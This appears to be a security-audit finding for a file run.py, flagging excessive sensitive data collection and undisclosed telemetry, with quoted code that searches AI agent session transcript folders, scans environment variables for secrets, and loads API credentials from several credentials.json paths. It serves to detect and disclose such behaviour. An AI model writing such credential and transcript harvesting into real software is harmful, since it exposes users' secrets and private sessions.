T05 Β· Unauthorized Access and Privilege Escalation
- Location
run.py:602- Finding
Excessive Sensitive Data Collection and Undisclosed Telemetry Exposure
- Content
View full analysis
List[Path]: """Find recent OpenClaw session transcript files.""" search_dirs = [ Path.home() / ".openclaw" / "agents", Path.home() / ".config" / "openclaw" / "sessions", Path.home() / ".claude" / "projects", ] jsonl_files = [] for d in search_dirs: if d.exists(): jsonl_files.extend(d.rglob("*.jsonl")) jsonl_files.sort(key=lambda f: f.stat().st_mtime, reverse=True) return jsonl_files[:max_files] ``` ```python findings = [] for var_name, val in os.environ.items(): if var_name in SAFE_VARS: continue matched = False if SECRET_VAR_NAMES.search(var_name) and len(val) >= 8: findings.append(var_name) matched = True if not matched: combined = f"{var_name}={val}" for pattern in SECRET_PATTERNS: if re.search(pattern, combined, re.IGNORECASE): findings.append(var_name) matched = True break ``` ```python def _load_moltbook_credentials() -> dict: api_key = os.environ.get("MOLTBOOK_API_KEY") agent_name = os.environ.get("MOLTBOOK_AGENT_NAME") if api_key: return {"api_key": api_key, "agent_name": agent_name or ""} home = Path.home() cred_paths = [ home / "clawd" / "skills" / "moltbook" / "credentials.json", home / ".clawd" / "skills" / "moltbook" / "credentials.json", home / ".config" / "moltbook" / "credentials.json", home / ".moltbot" / "credentials.json", ] for creds_path in cred_paths: if creds_path.exists(): try: with open(creds_path) as ...[truncated 4271 chars]- Remediation
View remediation
